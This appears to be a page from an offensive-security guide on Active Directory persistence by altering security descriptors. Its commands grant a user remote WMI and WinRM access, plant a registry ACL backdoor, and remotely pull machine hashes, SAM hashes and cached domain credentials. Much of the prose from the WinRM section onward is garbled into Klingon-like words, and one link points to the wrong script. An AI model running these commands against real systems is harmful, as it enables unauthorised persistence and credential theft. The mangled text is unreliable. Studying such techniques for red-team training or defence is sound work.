## Security Descriptors
|
||
|
||
[From the docs](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language): Security Descriptor Definition Language (SDDL) defines the format which is used to describe a security descriptor. SDDL uses ACE strings for DACL and SACL: `ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;`
|
||
|
||
The **security descriptors** are used to **store** the **permissions** an **object** has **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
|
||
|
||
Then, this persistence technique is based on the ability to win every privilege needed against certain objects, to be able to perform a task that usually requires admin privileges but without the need of being admin.
|
||
|
||
### Access to WMI
|
||
|
||
You can give a user access to **execute remotely WMI** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1):
|
||
```bash
|
||
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose
|
||
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove
|
||
```
|
||
### Qapla' WinRM
|
||
|
||
**User** [**using this**](https://github.com/samratashok/nishang/blob/master/Backdoors/Set-RemoteWMI.ps1)**:** **winrm PS console** **ghItlh**.
|
||
```bash
|
||
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose
|
||
Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove
|
||
```
|
||
### Remote access to hashes
|
||
|
||
**QaStaHvIS** **registry** **ghItlh** **hashes** **ghItlh** **Reg backdoor** **DAMP** **vaj** [**HarmJ0y/DAMP**](https://github.com/HarmJ0y/DAMP)**,** **vaj** **hash** **computer**, **SAM** **ghaH** **cached AD** **credential** **computer** **retrieve** **moment**. **So**, **Domain Controller computer** **regular user** **permission** **useful** **very** **'e'**.
|
||
```bash
|
||
# allows for the remote retrieval of a system's machine and local account hashes, as well as its domain cached credentials.
|
||
Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose
|
||
|
||
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local machine account hash for the specified machine.
|
||
Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose
|
||
|
||
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the local SAM account hashes for the specified machine.
|
||
Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose
|
||
|
||
# Abuses the ACL backdoor set by Add-RemoteRegBackdoor to remotely retrieve the domain cached credentials for the specified machine.
|
||
Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose
|
||
```
|
||
